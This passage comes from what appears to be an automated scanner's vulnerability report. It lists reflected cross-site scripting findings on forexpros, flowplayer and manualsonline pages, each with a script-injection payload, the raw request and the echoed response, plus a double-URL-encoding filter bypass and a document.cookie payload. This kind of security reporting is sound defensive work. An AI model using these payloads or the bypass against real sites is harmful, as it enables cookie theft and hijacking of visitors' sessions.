User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:33 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=1h637agm72d3gg13i3robvuc14; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107506

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
px solid #000000;
   border-left:0px solid #000000;
   width:100%;
}

.ec_main_table
{
   border-spacing:0px;
   border-collapse:collapse;
   padding:0px;
   border:0px solid #000000;
   border-top:1px solid #CEDBEBb277e<script>alert(1)</script>0c9da3d43ac;border-bottom:1px solid #CEDBEBb277e<script>
...[SNIP]...

4.50. http://ecal.forexpros.com/e_cal.php [header_bg parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The value of the header_bg request parameter is copied into the HTML document as plain text between tags. The payload cf11a<script>alert(1)</script>b223fafe30f was submitted in the header_bg parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893cf11a<script>alert(1)</script>b223fafe30f&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:27 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=aekji73m8iiq8oedkktm99m0h3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
er-collapse:collapse;
   padding:0px;
   border:0px solid #000000;
   border-top:1px solid #CEDBEB;border-bottom:1px solid #CEDBEB;    border-left:0px solid #cbcbcb;
   width:100%;
   /**/
   background-color:#838893cf11a<script>alert(1)</script>b223fafe30f;    background-repeat: repeat-x;
   /*background-image:url('/images/economic_calendar/slided_top_bg.gif');*/
}

.ec_table
{
   border-left:0px solid #0059b0;
   border-right:0px solid #cbcbcb;
   border-bottom:
...[SNIP]...

4.51. http://ecal.forexpros.com/e_cal.php [header_text_color parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The value of the header_text_color request parameter is copied into the HTML document as plain text between tags. The payload b0d61<script>alert(1)</script>541aa12ac86 was submitted in the header_text_color parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffffb0d61<script>alert(1)</script>541aa12ac86&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:25 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=9h4ocv0994l9nfh539adclc250; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
px;
   font-weight: bold;
}

.ec_top_white_arrow
{
   background: transparent url('http://c1802182.cdn.cloudfiles.rackspacecloud.com/white-arrow.gif') no-repeat;
   width:16px;
}

.ec_header
{
   color:#ffffffb0d61<script>alert(1)</script>541aa12ac86;/*    background-image: url('/images/economic_calendar/header_lines_bg.gif');*/
   /*background-color: #6ea6e9;*/
   background-color: transparent;
   height:20px;
   font-size: 12px;
   font-weight: bold;
   text-
...[SNIP]...

4.52. http://ecal.forexpros.com/e_cal.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload f1513<script>alert(1)</script>4215d583f88 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CE/f1513<script>alert(1)</script>4215d583f88DBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:35 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=08r8edoer7901r8dkgabrv7hd5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107515

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
r:0px solid #000000;
   border-left:0px solid #000000;
   width:100%;
}

.ec_main_table
{
   border-spacing:0px;
   border-collapse:collapse;
   padding:0px;
   border:0px solid #000000;
   border-top:1px solid #CE/f1513<script>alert(1)</script>4215d583f88DBEB;border-bottom:1px solid #CE/f1513<script>
...[SNIP]...

4.53. http://ecal.forexpros.com/e_cal.php [top_bg parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The value of the top_bg request parameter is copied into the HTML document as plain text between tags. The payload 48257<script>alert(1)</script>6e0a41b399b was submitted in the top_bg parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C48257<script>alert(1)</script>6e0a41b399b&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=9uideljhuhkggamgeiqnab6463; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
-weight: bold;
   text-decoration: none;
   padding:0px;
   border-spacing:0px;
   vertical-align: middle;
   border-left: 0px solid #cbcbcb;
}
.ec_top_td, .ec_top_td_last,.ec_top_tr
{
   background-color:#4E505C48257<script>alert(1)</script>6e0a41b399b;}

.ec_top_td_last
{
   width:19%;
}

.ec_top_td_graphic_header
{
   width:100%;
   background: url('http://c1802182.cdn.cloudfiles.rackspacecloud.com/economic_calendar/cal_blue1_bg.gif') repeat-x;
   color:#
...[SNIP]...

4.54. http://ecal.forexpros.com/e_cal.php [top_text_color parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The value of the top_text_color request parameter is copied into the HTML document as plain text between tags. The payload 9fd66<script>alert(1)</script>2df195dea04 was submitted in the top_text_color parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF9fd66<script>alert(1)</script>2df195dea04&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:22 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=hngcpaarcglf2sti36fvm2nfp1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
---START COMMON PROPERTIES..---------------------*/
a.ec_underline_link
{
   text-decoration:none;
}
a.ec_underline_link:hover
{
   text-decoration:underline;
}

.ec_a_top,a.ec_a_top:hover
{
   color:#FFFFFF9fd66<script>alert(1)</script>2df195dea04;    text-decoration: none;
   font-size: 12px;
   font-weight: bold;
}

.ec_top_white_arrow
{
   background: transparent url('http://c1802182.cdn.cloudfiles.rackspacecloud.com/white-arrow.gif') no-repeat;
   wid
...[SNIP]...

4.55. http://flowplayer.org/tools/overlay.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://flowplayer.org
Path:	/tools/overlay.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 433e1"><img%20src%3da%20onerror%3dalert(1)>bbd0b8b028e was submitted in the REST URL parameter 1. This input was echoed as 433e1"><img src=a onerror=alert(1)>bbd0b8b028e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /tools433e1"><img%20src%3da%20onerror%3dalert(1)>bbd0b8b028e/overlay.html HTTP/1.1
Host: flowplayer.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 /tools433e1"><img src=a onerror=alert(1)>bbd0b8b028e/overlay.html
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:04:07 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
Content-Length: 5876

   <!DOCTYPE html>


<!--
   Flowplayer JavaScript, website, forums & jQuery Tools by Tero Piirainen

   Prefer web standards over Flash. Video is the only exception (f
...[SNIP]...
<body id="tools433e1"><img src=a onerror=alert(1)>bbd0b8b028e_overlay" class="msie tools">
...[SNIP]...

4.56. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 47888%2527%253balert%25281%2529%252f%252f8fcf167d281 was submitted in the REST URL parameter 5. This input was echoed as 47888';alert(1)//8fcf167d281 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /ex/mfg/headline/m/ariens47888%2527%253balert%25281%2529%252f%252f8fcf167d281/d/type/product_problem HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:01 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47013

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1',false,{
                       titleHTML:'',
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = 'type'
window.sMfgName = 'ariens47888';alert(1)//8fcf167d281'
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "ariens47888';alert(1)//8fcf167d281 type"}; fetchAd('infospace','d_dt_mfglist',fetchAdParams);currentTab='help';
           getNextQuestion
...[SNIP]...

4.57. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a19b%2527%253balert%25281%2529%252f%252f35f276845e was submitted in the REST URL parameter 7. This input was echoed as 1a19b';alert(1)//35f276845e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:33 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
ert(1)//35f276845e', 'Ariens',false,{
                       titleHTML:'',
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = 'type1a19b';alert(1)//35f276845e'
window.idMfg = 145
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "Ariens type1a19b';alert(1)//35f276845e"}; fetchAd('infospace','d_dt_mfglist',fetchAdParams);currentTab='help';

...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 50f52%2527%253balert%25281%2529%252f%252f293c700832d was submitted in the REST URL parameter 5. This input was echoed as 50f52';alert(1)//293c700832d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Request

GET /ex/mfg/headline/m/ariens50f52%2527%253balert%25281%2529%252f%252f293c700832d/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:20 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:52:20 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47617

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = 'type1a19b%27%3balert%281%29%2f%2f35f276845e'
window.sMfgName = 'ariens50f52';alert(1)//293c700832d'
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "ariens50f52';alert(1)//293c700832d type1a19b%27%3balert%281%29%2f%2f35f276845e"}; fetchAd('infospace','d_dt_mfglist',fetchAdParams
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c4ee%2527%253balert%25281%2529%252f%252f94f30994ebc was submitted in the REST URL parameter 7. This input was echoed as 2c4ee';alert(1)//94f30994ebc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e2c4ee%2527%253balert%25281%2529%252f%252f94f30994ebc/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:59 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:52:59 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46362

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
                   titleHTML:'',
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = 'type1a19b%27%3balert%281%29%2f%2f35f276845e2c4ee';alert(1)//94f30994ebc'
window.idMfg = 145
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "Ariens type1a19b%27%3balert%281%29%2f%2f35f276845e2c4ee';alert(1)//94f30994ebc"}; fetchAd('infospace','d_dt_mfg
...[SNIP]...

4.60. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/ [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60be1%2527%253balert%25281%2529%252f%252f5596dc43a2 was submitted in the REST URL parameter 7. This input was echoed as 60be1';alert(1)//5596dc43a2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /ex/mfg/headline/m/ariens/d/60be1%2527%253balert%25281%2529%252f%252f5596dc43a2/product_problem/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:21 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:52:21 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45698

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
';alert(1)//5596dc43a2', 'Ariens',false,{
                       titleHTML:'',
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = '60be1';alert(1)//5596dc43a2'
window.idMfg = 145
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "Ariens 60be1';alert(1)//5596dc43a2"}; fetchAd('infospace','d_dt_mfglist',fetchAdParams);currentTab='help';
           g
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

